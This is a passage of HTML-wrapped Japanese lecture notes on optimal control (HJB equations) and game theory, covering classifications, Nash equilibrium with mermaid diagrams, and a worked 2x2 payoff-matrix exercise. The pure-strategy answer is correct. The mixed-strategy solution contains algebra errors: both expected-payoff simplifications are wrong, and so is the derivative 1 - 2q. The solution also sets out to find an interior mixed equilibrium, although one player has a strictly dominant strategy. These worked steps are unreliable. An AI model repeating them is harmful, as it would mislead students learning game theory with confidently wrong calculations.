&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;連続時間制御問題では、ハミルトン–ヤコビ–ベルマン（HJB）方程式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{u &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{U}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x V^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top f(x,u) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(x,u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解くことで最適制御 $&lt;/span&gt;&lt;span&gt;u^*(t,x)$&lt;/span&gt;&lt;span&gt; が得られる。確率過程 $&lt;/span&gt;&lt;span&gt;dX_t = f(X_t, u_t) dt + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma(X_t, u_t) dW_t$&lt;/span&gt;&lt;span&gt; を扱う場合は、HJB方程式に拡散項が加わり&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{u} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u V + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(x,u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となる。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u$&lt;/span&gt;&lt;span&gt; は生成作用素 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u = f^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{tr}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;【ゲーム理論による意思決定分析】&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ゲーム理論とは、利害関係者（プレイヤー）が相互に影響し合う状況下（ゲーム）で、どのように最適な意思決定をするかを数学的に分析する理論である。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;主な特徴として、以下の点が挙げられる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各主体は自分（自己）と他者（相手）の行動や利得（利益・損失）が互いに依存している状況を考慮する必要がある。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 自分1人の最適だけでなく、相手がどのような行動をするかを予想した上で最適解（最善の戦略）を求める。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 競争（利害が対立する）/協調（共通の利益がある）のどちらのケースもモデル化できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ゲーム理論の分類&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ゲーム理論は、以下のように分類される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 協力ゲーム vs 非協力ゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**非協力ゲーム**&lt;/span&gt;&lt;span&gt;：プレイヤー間の合意や契約が不可能、または強制力がない場合。各プレイヤーは独立に戦略を選択する。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**協力ゲーム**&lt;/span&gt;&lt;span&gt;：プレイヤー間で拘束力のある合意が可能な場合。提携（coalition）の形成と利得の分配が分析の中心となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 標準形ゲーム vs 展開形ゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**標準形ゲーム（戦略形ゲーム）**&lt;/span&gt;&lt;span&gt;：全プレイヤーが同時に戦略を選択する場合を表現。利得行列（ペイオフマトリクス）で表現される。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**展開形ゲーム**&lt;/span&gt;&lt;span&gt;：プレイヤーが順番に行動を選択する場合を表現。ゲームの木（game tree）で表現され、情報集合（information set）によって情報構造を記述する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. 完全情報ゲーム vs 不完全情報ゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**完全情報ゲーム**&lt;/span&gt;&lt;span&gt;：全プレイヤーがゲームの構造（利得関数、可能な行動など）を完全に知っている場合。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**不完全情報ゲーム**&lt;/span&gt;&lt;span&gt;：一部の情報が非対称な場合。ベイジアンゲームとしてモデル化される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図8: ゲーム理論の分類**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[ゲーム理論&amp;lt;br/&amp;gt;Game Theory] --&amp;gt; B{協力の可能性&amp;lt;br/&amp;gt;Cooperation}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|合意不可能&amp;lt;br/&amp;gt;No Binding Agreement| C[非協力ゲーム&amp;lt;br/&amp;gt;Non-Cooperative Game&amp;lt;br/&amp;gt;ナッシュ均衡]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|合意可能&amp;lt;br/&amp;gt;Binding Agreement| D[協力ゲーム&amp;lt;br/&amp;gt;Cooperative Game&amp;lt;br/&amp;gt;提携形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; E{行動の順序&amp;lt;br/&amp;gt;Order of Actions}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt;|同時選択&amp;lt;br/&amp;gt;Simultaneous| F[標準形ゲーム&amp;lt;br/&amp;gt;Normal Form Game&amp;lt;br/&amp;gt;利得行列]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt;|順次選択&amp;lt;br/&amp;gt;Sequential| G[展開形ゲーム&amp;lt;br/&amp;gt;Extensive Form Game&amp;lt;br/&amp;gt;ゲームの木]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; H{情報の完全性&amp;lt;br/&amp;gt;Information Completeness}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt;|完全情報&amp;lt;br/&amp;gt;Complete Information| I[完全情報ゲーム&amp;lt;br/&amp;gt;Complete Information Game]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt;|不完全情報&amp;lt;br/&amp;gt;Incomplete Information| J[不完全情報ゲーム&amp;lt;br/&amp;gt;Incomplete Information Game&amp;lt;br/&amp;gt;ベイジアンゲーム]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; K[ナッシュ均衡&amp;lt;br/&amp;gt;Nash Equilibrium]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; L[コア シャプレー値&amp;lt;br/&amp;gt;Core Shapley Value]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; K&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; M[サブゲーム完全均衡&amp;lt;br/&amp;gt;Subgame Perfect Equilibrium]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; N[ベイジアン・ナッシュ均衡&amp;lt;br/&amp;gt;Bayesian Nash Equilibrium]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ナッシュ均衡（Nash Equilibrium）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;非協力ゲームにおける重要な解概念として、ナッシュ均衡がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**定義**&lt;/span&gt;&lt;span&gt;：戦略の組 $&lt;/span&gt;&lt;span&gt;(s_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;^*, s_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;^*, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, s_n^*)$&lt;/span&gt;&lt;span&gt; がナッシュ均衡であるとは、すべてのプレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; について、他のプレイヤーの戦略 $&lt;/span&gt;&lt;span&gt;(s_{-i}^*)$&lt;/span&gt;&lt;span&gt; を所与として、プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; が戦略 $&lt;/span&gt;&lt;span&gt;s_i^*$&lt;/span&gt;&lt;span&gt; から逸脱しても利得を改善できない状態を指す。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;数学的には、各プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の利得関数を $&lt;/span&gt;&lt;span&gt;u_i$&lt;/span&gt;&lt;span&gt; とすると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$u_i(s_i^*, s_{-i}^*) \&lt;/span&gt;&lt;span&gt;geq&lt;/span&gt;&lt;span&gt; u_i(s_i, s_{-i}^*) \&lt;/span&gt;&lt;span&gt;quad&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;forall&lt;/span&gt;&lt;span&gt; s_i \&lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; S_i, \&lt;/span&gt;&lt;span&gt;forall&lt;/span&gt;&lt;span&gt; i$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt;S_i$&lt;/span&gt;&lt;span&gt; はプレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の戦略集合、$&lt;/span&gt;&lt;span&gt;s_{-i}^*$&lt;/span&gt;&lt;span&gt; は他のプレイヤーの均衡戦略を表す。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ナッシュ均衡は、すべてのプレイヤーが最適反応（best response）を選択している状態であり、誰も一方的に戦略を変更する動機を持たない安定した状態である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ナッシュ均衡の概念図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図9: ナッシュ均衡の概念図**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "プレイヤー1の最適反応"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[プレイヤー2の戦略s₂*] --&amp;gt; B[プレイヤー1の最適反応&amp;lt;br/&amp;gt;BR₁s₂* = argmax u₁s₁,s₂*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[戦略s₁*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "プレイヤー2の最適反応"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D[プレイヤー1の戦略s₁*] --&amp;gt; E[プレイヤー2の最適反応&amp;lt;br/&amp;gt;BR₂s₁* = argmax u₂s₁*,s₂]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[戦略s₂*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ナッシュ均衡の条件"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; G[s₁* ∈ BR₁s₂*&amp;lt;br/&amp;gt;プレイヤー1の最適反応]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; H[s₂* ∈ BR₂s₁*&amp;lt;br/&amp;gt;プレイヤー2の最適反応]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; I[ナッシュ均衡&amp;lt;br/&amp;gt;s₁*,s₂*&amp;lt;br/&amp;gt;両者が最適反応]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "均衡の性質"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[誰も一方的に&amp;lt;br/&amp;gt;戦略を変更する&amp;lt;br/&amp;gt;動機がない]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; K[安定した状態&amp;lt;br/&amp;gt;Stable State]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題③　ナッシュ均衡の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;以下の利得行列で表される2人ゲームを考える：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| プレイヤー1 \ プレイヤー2 | プレイヤー2: 左 | プレイヤー2: 右 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|-----|----------------|----------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| プレイヤー1: 上 | 3, 2           | 1, 4           |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| プレイヤー1: 下 | 4, 1           | 2, 3           |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;利得は（プレイヤー1の利得, プレイヤー2の利得）の順で表されている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 純粋戦略ナッシュ均衡を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 混合戦略ナッシュ均衡を求めよ（プレイヤー1が「上」を選ぶ確率を $&lt;/span&gt;&lt;span&gt;p$&lt;/span&gt;&lt;span&gt;、プレイヤー2が「左」を選ぶ確率を $&lt;/span&gt;&lt;span&gt;q$&lt;/span&gt;&lt;span&gt; とする）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 解答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 純粋戦略ナッシュ均衡の探索&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;各戦略の組み合わせについて、最適反応を確認する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;(上, 左)$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;: プレイヤー1は「下」に変更すると利得が3→4に増加するため、最適反応ではない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;(上, 右)$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;: プレイヤー1は「下」に変更すると利得が1→2に増加するため、最適反応ではない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;(下, 左)$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;: プレイヤー1は「上」に変更すると利得が4→3に減少するため、最適反応。プレイヤー2は「右」に変更すると利得が1→4に増加するため、最適反応ではない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;: プレイヤー1は「上」に変更すると利得が2→1に減少するため、最適反応。プレイヤー2は「左」に変更すると利得が3→2に減少するため、最適反応&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、&lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt; が純粋戦略ナッシュ均衡**&lt;/span&gt;&lt;span&gt;である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 混合戦略ナッシュ均衡の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;プレイヤー1が「上」を選ぶ確率を $&lt;/span&gt;&lt;span&gt;p$&lt;/span&gt;&lt;span&gt;、プレイヤー2が「左」を選ぶ確率を $&lt;/span&gt;&lt;span&gt;q$&lt;/span&gt;&lt;span&gt; とする。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**プレイヤー1の期待利得**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;] &amp;amp;= pq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; + p(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-q) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-p)q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-p)(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-q) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;pq + p - pq + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;q - &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;pq + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;p - &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;q + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;pq \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= p + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;q - &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;pq + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**プレイヤー2の期待利得**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;] &amp;amp;= pq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + p(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-q) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-p)q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-p)(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-q) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;pq + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;p - &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;pq + q - pq + &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;p - &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;q + &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;pq \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= p - &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;q + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;pq + &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**プレイヤー1の最適反応**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;プレイヤー1の期待利得を $&lt;/span&gt;&lt;span&gt;p$&lt;/span&gt;&lt;span&gt; で微分：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial E[u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial p} = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
